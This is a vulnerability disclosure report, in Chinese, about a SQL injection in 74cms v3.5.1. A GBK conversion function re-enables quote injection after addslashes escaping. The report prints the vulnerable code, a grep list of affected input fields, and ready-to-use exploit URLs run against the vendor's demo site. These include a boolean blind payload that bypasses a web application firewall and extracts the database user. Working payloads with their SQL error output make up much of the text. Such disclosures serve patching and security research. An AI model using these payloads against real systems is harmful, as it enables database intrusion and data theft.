### 简要描述: 74cms_v3.5.1_20141020 绕过全局SQL注入过滤。 ### 详细说明: [WooYun: 74cms 最新版 注入8-9](http://www.wooyun.org/bugs/wooyun-2014-063225) 报道过74cms转换编码导致的SQL注入的问题,是由于使用了iconv()函数导致的,74cms做了修正,转而使用了自定义的函数utf8_to_gbk()来转换编码,代码如下: ``` function utf8_to_gbk($utfstr) { global $UC2GBTABLE; $okstr = ''; if(empty($UC2GBTABLE)) { define('CODETABLEDIR', dirname(__FILE__).DIRECTORY_SEPARATOR.'encoding'.DIRECTORY_SEPARATOR); $filename = CODETABLEDIR.'gb-unicode.table'; $fp = fopen($filename, 'rb'); while($l = fgets($fp,15)) { $UC2GBTABLE[hexdec(substr($l, 7, 6))] = hexdec(substr($l, 0, 6)); } fclose($fp); } $okstr = ''; $ulen = strlen($utfstr); for($i=0; $i<$ulen; $i++) { $c = $utfstr[$i]; $cb = decbin(ord($utfstr[$i])); if(strlen($cb)==8) { $csize = strpos(decbin(ord($cb)),'0'); for($j = 0; $j < $csize; $j++) { $i++; $c .= $utfstr[$i]; } $c = utf8_to_unicode($c); if(isset($UC2GBTABLE[$c])) { $c = dechex($UC2GBTABLE[$c]+0x8080); $okstr .= chr(hexdec($c[0].$c[1])).chr(hexdec($c[2].$c[3])); } else { $okstr...
### 简要描述: 74cms_v3.5.1_20141020 绕过全局SQL注入过滤。 ### 详细说明: [WooYun: 74cms 最新版 注入8-9](http://www.wooyun.org/bugs/wooyun-2014-063225) 报道过74cms转换编码导致的SQL注入的问题,是由于使用了iconv()函数导致的,74cms做了修正,转而使用了自定义的函数utf8_to_gbk()来转换编码,代码如下: ``` function utf8_to_gbk($utfstr) { global $UC2GBTABLE; $okstr = ''; if(empty($UC2GBTABLE)) { define('CODETABLEDIR', dirname(__FILE__).DIRECTORY_SEPARATOR.'encoding'.DIRECTORY_SEPARATOR); $filename = CODETABLEDIR.'gb-unicode.table'; $fp = fopen($filename, 'rb'); while($l = fgets($fp,15)) { $UC2GBTABLE[hexdec(substr($l, 7, 6))] = hexdec(substr($l, 0, 6)); } fclose($fp); } $okstr = ''; $ulen = strlen($utfstr); for($i=0; $i<$ulen; $i++) { $c = $utfstr[$i]; $cb = decbin(ord($utfstr[$i])); if(strlen($cb)==8) { $csize = strpos(decbin(ord($cb)),'0'); for($j = 0; $j < $csize; $j++) { $i++; $c .= $utfstr[$i]; } $c = utf8_to_unicode($c); if(isset($UC2GBTABLE[$c])) { $c = dechex($UC2GBTABLE[$c]+0x8080); $okstr .= chr(hexdec($c[0].$c[1])).chr(hexdec($c[2].$c[3])); } else { $okstr .= '&#'.$c.';'; } } else { $okstr .= $c; } } $okstr = trim($okstr); return $okstr; } ``` 不过这个转换代码还是会导致SQL注入。 例如输入为%88%ec%27,经过全局注入addslashes_deep()处理后就把变成了 %88%ec%5c%27, utf8_to_gbk()转换过后就变成了: 謜',导致了'的注入。 理论上所有使用utf8_to_gbk(), 然后会带入SQL语句的代码都受影响。 ``` # grep -nr utf8_to_gbk . ./user/company/company_info.php:26:$setsqlarr['companyname']=trim($_POST['companyname'])?utf8_to_gbk(trim($_POST['companyname'])):exit('��û��������ҵ���ƣ�'); ./user/company/company_info.php:29:$setsqlarr['nature_cn']=utf8_to_gbk(trim($_POST['nature_cn'])); ./user/company/company_info.php:31:$setsqlarr['trade_cn']=utf8_to_gbk(trim($_POST['trade_cn'])); ./user/company/company_info.php:34:$setsqlarr['district_cn']=utf8_to_gbk(trim($_POST['district_cn'])); ./user/company/company_info.php:38:$setsqlarr['street_cn']=utf8_to_gbk(trim($_POST['street_cn'])); ./user/company/company_info.php:40:$setsqlarr['scale']=trim($_POST['scale'])?utf8_to_gbk(trim($_POST['scale'])):exit('��ѡ����˾��ģ��'); ./user/company/company_info.php:41:$setsqlarr['scale_cn']=utf8_to_gbk(trim($_POST['scale_cn'])); ./user/company/company_info.php:42:$setsqlarr['registered']=utf8_to_gbk(trim($_POST['registered'])); ./user/company/company_info.php:43:$setsqlarr['currency']=utf8_to_gbk(trim($_POST['currency'])); ./user/company/company_info.php:44:$setsqlarr['address']=trim($_POST['address'])?utf8_to_gbk(trim($_POST['address'])):exit('����дͨѶ��ַ��'); ./user/company/company_info.php:46:$setsqlarr['contact']=trim($_POST['contact'])?utf8_to_gbk(trim($_POST['contact'])):exit('����д��ϵ�ˣ�'); ./user/company/company_info.php:48:$setsqlarr['telephone']=trim($_POST['telephone'])?utf8_to_gbk(trim($_POST['telephone'])):exit('����д��ϵ�绰��'); ./user/company/company_info.php:50:$setsqlarr['email']=trim($_POST['email'])?utf8_to_gbk(trim($_POST['email'])):exit('����д��ϵ���䣡'); ./user/company/company_info.php:52:$setsqlarr['website']=utf8_to_gbk(trim($_POST['website'])); ./user/company/company_info.php:54:$setsqlarr['contents']=trim($_POST['contents'])?utf8_to_gbk(trim($_POST['contents'])):exit('����д��˾���飡'); ./user/user_report_resume.php:189:$setsqlarr['content']=utf8_to_gbk($setsqlarr['content']); ./user/user_report_resume.php:190:$setsqlarr['title']=utf8_to_gbk($setsqlarr['title']); ./user/user_apply_jobs.php:302:$addarr['notes']=utf8_to_gbk($addarr['notes']); ./user/user_invited.php:347:$addarr['notes']=utf8_to_gbk($addarr['notes']); ./user/personal/personal_resume.php:244:$setsqlarr['title']=trim($_POST['title'])?utf8_to_gbk(trim($_POST['title'])):"δ��������"; ./user/personal/personal_resume.php:246:$setsqlarr['fullname']=trim($_POST['fullname'])?utf8_to_gbk(trim($_POST['fullname'])):exit('����д������'); ./user/personal/personal_resume.php:250:$setsqlarr['sex_cn']=utf8_to_gbk(trim($_POST['sex_cn'])); ./user/personal/personal_resume.php:252:$setsqlarr['residence']=trim($_POST['residence'])?utf8_to_gbk(trim($_POST['residence'])):exit('��ѡ���־�ס�أ�'); ./user/personal/personal_resume.php:253:$setsqlarr['residence_cn']=utf8_to_gbk(trim($_POST['residence_cn'])); ./user/personal/personal_resume.php:255:$setsqlarr['education_cn']=utf8_to_gbk(trim($_POST['education_cn'])); ./user/personal/personal_resume.php:257:$setsqlarr['experience_cn']=utf8_to_gbk(trim($_POST['experience_cn'])); ./user/personal/personal_resume.php:258:$setsqlarr['email']=trim($_POST['email'])?utf8_to_gbk(trim($_POST['email'])):exit('����д���䣡'); ./user/personal/personal_resume.php:263:$setsqlarr['householdaddress_cn']=utf8_to_gbk(trim($_POST['householdaddress_cn'])); ./user/personal/personal_resume.php:265:$setsqlarr['marriage_cn']=utf8_to_gbk(trim($_POST['marriage_cn'])); ./user/personal/personal_resume.php:266:$setsqlarr['intention_jobs']=utf8_to_gbk(trim($_POST['intention_jobs'])); ./user/personal/personal_resume.php:268:$setsqlarr['trade_cn']=utf8_to_gbk(trim($_POST['trade_cn'])); ./user/personal/personal_resume.php:271:$setsqlarr['district_cn']=utf8_to_gbk(trim($_POST['district_cn'])); ./user/personal/personal_resume.php:273:$setsqlarr['nature_cn']=utf8_to_gbk(trim($_POST['nature_cn'])); ./user/personal/personal_resume.php:275:$setsqlarr['wage_cn']=utf8_to_gbk(trim($_POST['wage_cn'])); ./user/personal/personal_resume.php:394:$school = utf8_to_gbk(trim($_POST['school'])); ./user/personal/personal_resume.php:395:$speciality = utf8_to_gbk(trim($_POST['speciality'])); ./user/personal/personal_resume.php:396:$education_cn = utf8_to_gbk(trim($_POST['education_cn'])); ./user/personal/personal_resume.php:496:$companyname = utf8_to_gbk(trim($_POST['companyname'])); ./user/personal/personal_resume.php:497:$jobs = utf8_to_gbk(trim($_POST['jobs'])); ./user/personal/personal_resume.php:498:$achievements = utf8_to_gbk(trim($_POST['achievements'])); ./user/personal/personal_resume.php:601:$agency = utf8_to_gbk(trim($_POST['agency'])); ./user/personal/personal_resume.php:602:$course = utf8_to_gbk(trim($_POST['course'])); ./user/personal/personal_resume.php:603:$description = utf8_to_gbk(trim($_POST['description'])); ./user/plus/ajax_user.php:32:$username=utf8_to_gbk($username); ./user/plus/ajax_user.php:33:$password=utf8_to_gbk($password); ./user/plus/ajax_user.php:41:$postcaptcha=utf8_to_gbk($postcaptcha); ./user/plus/ajax_user.php:73:$postcaptcha=utf8_to_gbk($postcaptcha); ./user/plus/ajax_user.php:87:$username=utf8_to_gbk($username); ./user/plus/ajax_user.php:88:$password=utf8_to_gbk($password); ./user/plus/ajax_user.php:134:$usname=utf8_to_gbk($usname); ./user/plus/ajax_user.php:157:$email=utf8_to_gbk($email); ./user/user_report.php:189:$setsqlarr['content']=utf8_to_gbk($setsqlarr['content']); ./user/user_report.php:190:$setsqlarr['jobs_name']=utf8_to_gbk($setsqlarr['jobs_name']); ./wap/company/wap_company_jobs.php:83:$_POST=array_map("utf8_to_gbk", $_POST); ./wap/company/wap_company_jobs.php:324:$_POST=array_map("utf8_to_gbk", $_POST); ./wap/company/wap_user.php:49:$_POST=array_map("utf8_to_gbk", $_POST); ./wap/personal/wap_apply.php:46:$_POST=array_map("utf8_to_gbk", $_POST); ./wap/personal/wap_user.php:93:$_POST=array_map("utf8_to_gbk",$_POST); ./wap/personal/wap_user.php:231:$_POST=array_map("utf8_to_gbk",$_POST); ./wap/personal/wap_user.php:294:$_POST=array_map("utf8_to_gbk",$_POST); ./wap/personal/wap_user.php:335:$_POST=array_map("utf8_to_gbk",$_POST); ./wap/personal/wap_user.php:410:$_POST=array_map("utf8_to_gbk",$_POST); ./wap/personal/wap_user.php:481:$_POST=array_map("utf8_to_gbk",$_POST); ./wap/personal/wap_user.php:539:$_POST=array_map("utf8_to_gbk",$_POST); ./wap/personal/wap_user.php:643:$_POST=array_map("utf8_to_gbk", $_POST); ./include/common.fun.php:934:function utf8_to_gbk($utfstr) { ./plus/ajax_search_location.php:18:$_GET['key']=utf8_to_gbk($_GET['key']); ./plus/ajax_simple.php:266:$pwd=utf8_to_gbk($pwd); ./plus/weixin.php:36:$keyword = utf8_to_gbk($keyword); ./plus/ajax_common.php:69:$gbk_query=utf8_to_gbk($gbk_query); ./plus/ajax_street.php:48:if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0) $key=utf8_to_gbk($key); ./plus/ajax_user.php:32:$username=utf8_to_gbk($username); ./plus/ajax_user.php:33:$password=utf8_to_gbk($password); ./plus/ajax_user.php:41:$postcaptcha=utf8_to_gbk($postcaptcha); ./plus/ajax_user.php:73:$postcaptcha=utf8_to_gbk($postcaptcha); ./plus/ajax_user.php:87:$username=utf8_to_gbk($username); ./plus/ajax_user.php:88:$password=utf8_to_gbk($password); ./plus/ajax_user.php:134:$usname=utf8_to_gbk($usname); ./plus/ajax_user.php:157:$email=utf8_to_gbk($email); ``` 这里就不一一尝试了,只是使用其中的一个两个验证一下: 1: ``` http://demo.74cms.com/plus/ajax_common.php?act=hotword&query=%88%ec%27 ``` 返回SQL错误: ``` Error:Query error:SELECT * FROM qs_hotword WHERE w_word like '%謜'%' ORDER BY `w_hot` DESC LIMIT 0 , 10 ``` [<img src="https://images.seebug.org/upload/201410/231707385607c6b9cc0c5d24b5be66cda511d99b.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/231707385607c6b9cc0c5d24b5be66cda511d99b.png) AND/OR注入绕过安全狗取得user()信息: FALSE的情况,返回所有的hotword: ``` http://demo.74cms.com/plus/ajax_common.php?act=hotword&query=%88%ec%27%20or%20strcmp(substr(user(),1,14),char(114,111,111,116,64,108,111,99,97,108,104,111,115,115))%23 ``` [<img src="https://images.seebug.org/upload/201410/23214542829bdaefc684f4ca6c025e857b040c46.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/23214542829bdaefc684f4ca6c025e857b040c46.png) TRUE的情况,:没有任何返回 ``` http://demo.74cms.com/plus/ajax_common.php?act=hotword&query=%88%ec%27%20or%20strcmp(substr(user(),1,14),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116))%23 ``` [<img src="https://images.seebug.org/upload/201410/23214604c67a0809e1cc1105b8edebb39709c675.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/23214604c67a0809e1cc1105b8edebb39709c675.png) ``` user() = root@localhost ``` 2: ``` http://demo.74cms.com/plus/ajax_user.php?act=check_usname POST: usname=%88%ec%27 ``` 返回错误: ``` Error:Query error:select * from qs_members where username = '謜'' LIMIT 1 ``` [<img src="https://images.seebug.org/upload/201410/231707574c41542b2944d4e76f99a789a655356f.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/231707574c41542b2944d4e76f99a789a655356f.png) ### 漏洞证明: [<img src="https://images.seebug.org/upload/201410/231707385607c6b9cc0c5d24b5be66cda511d99b.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/231707385607c6b9cc0c5d24b5be66cda511d99b.png) [<img src="https://images.seebug.org/upload/201410/231707574c41542b2944d4e76f99a789a655356f.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/231707574c41542b2944d4e76f99a789a655356f.png)